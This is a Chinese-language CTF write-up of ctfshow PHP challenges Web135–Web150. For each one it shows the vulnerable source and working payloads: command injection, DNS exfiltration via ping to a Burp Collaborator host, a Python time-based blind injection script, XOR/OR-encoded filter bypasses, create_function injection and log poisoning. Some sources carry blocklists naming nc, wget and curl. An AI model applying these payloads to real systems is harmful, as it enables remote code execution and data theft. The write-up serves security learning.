extract($_POST);
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。
?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。
Web135(Web133plus)
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
这题比起web133多了很多过滤,但是有写入权限
?F=`$F`; nl f*>1.txt
然后去访问/1.txt
同时还可以用cp mv命令
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
也可以采用DNS外带的方法
/?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.http://dyfo9r3ph7xp83co5dlql3ym2d83ws.burpcollaborator.net
用 nl 命令为 flag.php 文件中的每一行添加行号;
用 awk 命令选择第 15、16 行(flag 在多少行是需要不断尝试出来的);
tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容
Web136(exec()重定向读取文件)
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
先补充一个知识点
(1)system()
用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。
(2)passthru()
用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。
(3)exec()
用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。
我们可以将结果重定向到某个文件,然后再访问对应的文件,但是>被过滤,我们可以使用tee命令来实现类似的功能,tee命令可以将命令的输出写入到标准输出的同时写入到一个文件中
?c=ls /|tee 1
?c=cat /f149_15_h3r3|tee 1
然后访问1下载文件读取flag
Web137(双冒号直接访问静态方法)
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getFlag
方法二:
详见web138
Web138(strripos过滤冒号,call_user_func传数组)
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
strripos()函数用于查找字符串在另一字符串中最后一次出现的位置,这里相当于就是对提交内容过滤掉了冒号
对于call_user_func 我们还可以通过数组来传递
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
调用strripos时,如果第一个参数是数组,php将会返回null,因为strripos期望第一个参数是字符串类型,所以不会触发die
call_user_func($_POST['ctfshow']);将解析为call_user_func(['ctfshow','getFlag']);,这将静态调用ctfshow::getFlag()方法。
Web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
我们先用web136的方法去做 发现下载不了文件,带不出回显,可以盲注
我们要解决两个问题
- 截取字符串
- 判断命令执行结构
截取字符串可以用awk命令
判断命令执行结果可以用shell编程的if语句和sleep()函数
我们举个例子
awk逐行获取

cut命令截取单独的字符

shell语句,if语句控制输出,sleep语句控制相应时间

所以poc为
import requests
import time
import string
str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = "" # 初始化一个空字符串,用于保存结果
#获取多少行
for i in range(1, 99):
key = 0 #用于控制内层循环(j)的结束
#不break的情况下,一行最多几个字符
for j in range(1, 99):
if key == 1:
break
for n in str: #n就是一个一个的返回值
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符
#print(payload)
url = "http://13f0afe4-289b-4fcf-b2ed-6cf6cdf78635.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。
# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
except:
result = result + n
print(result)
break
if n == '~': #str的最后一位,“~”不常出现,用作结尾
key = 1
# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
result += " "
读取/f149_15_h3r3
import requests
import time
import string
str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
for n in str:
payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
# print(payload)
url = "http://13f0afe4-289b-4fcf-b2ed-6cf6cdf78635.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n=="~":
result = result + "花括号"
Web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
intval()成功时,返回参数的integer值,失败时返回0。空的array返回0,非空的array返回1。字符串有可能返回0,取决于字符串最左侧的字符。
intval()不能用于object,否则会产生E_NOTICE错误并返回1。
<?php
$a=[];
if(intval($a)=="ctfshow"){
echo 123;
}
#返回123
#若a=[1] 不返回
#若a="111"或a="111a" 不返回
#若a="a111a" 返回123
所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE
payload1:
f1=system&f2=system
system(system())
system()必须包含参数,失败返回FLASE; system('FLASE'),空指令,失败返回FLASE。
payload2:
f1=usleep&f2=usleep
usleep(usleep())
usleep没有返回值。所以intval参数为空,失败返回0
payload3:
f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)—>失败返回flase,intval为0。
Web141
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
v1和v2要求是数字,v3我们就需要构造函数了。
这里先看一下三者组合到一起
php里数字可以和命令进行运算,也就是说v3里要执行的函数前后加上运算符即可。
1-phpinfo()-1结果为0,phpinfo()执行成功后返回true,1-1-1=-1
同理system()也可执行。
传递函数的方式可以参照web109的$v1($v2());,所以函数名也可以用如('phpinfo')来表示
接下来就可以构造字符了
这里把web71的rce_or的php代码修改一下
生成rce_or141.txt
<?php
$myfile = fopen("rce_or141.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
// $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
// if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
// echo "";
// }
$preg='/^\w+$/';
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
from sys import *
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or141.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b
?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")%2b

Web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
v1是数字,v1与5个0x36d相乘的结果是sleep的时间,然后会输出flag的内容。0与任意数相乘为0,让v1为0即可即时得到结果。
?v1=0
Web143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
相比Web141 我们会发现+和-不能用了换成*。|被过滤了,使用异或^
修改一下构造脚本就可以(改一下正则匹配和异或运算就可以)
<?php
$myfile = fopen("rce_or143.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
for ($j=1; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
from sys import *
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or143.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
fun="system"
cmd="cat flag.php"
print("function:"+action(fun))
print("cmd:"+action(cmd))
system ls


?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%01%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%21%60%60%60%60%2f%7f%60%7f")*
Web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
和web141一样的正则匹配,对应变量这次是v2。
v3有个check,长度要求为1。
输出的顺序是$v1$v3$v2,那么让v3是运算符就可以,这里用减号-,
加号用%2b
payload把web141的修改一下就能用。
?v1=1&v2=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")&v3=-
Web145~Web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这次异或^又被过滤了,可以用或|和取反~。
和web143一样,修改一下构造脚本就可以。修改正则匹配条件,修改运算符。
加减乘数被过滤,也可以用或|。
?v1=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%20%06%02'|'%60%60%60%20%60%28')|&v2=1
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1
Web147(匿名函数)
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
正则匹配的绕过,只要ctfshow有一个不是数字、小写字母和下划线就可以绕过,执行if语句
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
调用一个函数时直接写函数名function_name(),相当于是相对路径调用;如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。
所以post的ctf可以通过加上\绕过匹配,找个不需要第一个参数的函数,可以用creat_funtion匿名函数。虽然该函数自PHP7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。
creat_function 创建了一个匿名函数,我们假设叫chenzi
funtion chenzi($args,...){
$code
}
所以需要}闭合,闭合之后,if后面就多出来了一个}这就需要注释符号注释。
?show=}system("cat flag.php");/*
ctf=\create_funtion
Web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
还是利用Web141的思路
<?php
$myfile = fopen("rce_or148.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
// $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
// if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
// echo "";
// }
$preg='/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/';
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
from sys import *
def action(arg):
s1=""
s2=""
for i in arg:
f=open("C:\\Users\\26387\\Desktop\\wangannote\\rce_or148.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
fun="get_ctfshow_fl0g"
cmd=""
print("function:"+action(fun))
print("cmd:"+action(cmd))
这里的执行命令可以直接get_ctfshow_fl0g也可以system
?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
Web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
$files = scandir('./');:使用scandir函数扫描当前目录,并将目录中的所有文件和文件夹的名称存储在数组$files中。foreach($files as $file) { ... }:遍历$files数组中的每个元素。if(is_file($file)){ ... }:检查当前元素是否为文件。if ($file !== "index.php") { ... }:如果当前文件不是index.php,则执行unlink($file);,即删除该文件。

接下来执行命令或者蚁剑连接

Web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
post的ctf只限制了不能用:,别的并没有被过滤。后面的include($ctf);可以进日志包含
因为key有过滤字符,所以我们可以通过UA传递木马

Web150_Plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
这个题一点点小坑__autoload()函数不是类里面的
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
需要先构造__CTFSHOW__但是被过滤了,.可以绕过,构造了这个变量
..CTFSHOW..,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
?..CTFSHOW..=phpinfo

浙公网安备 33010602011771号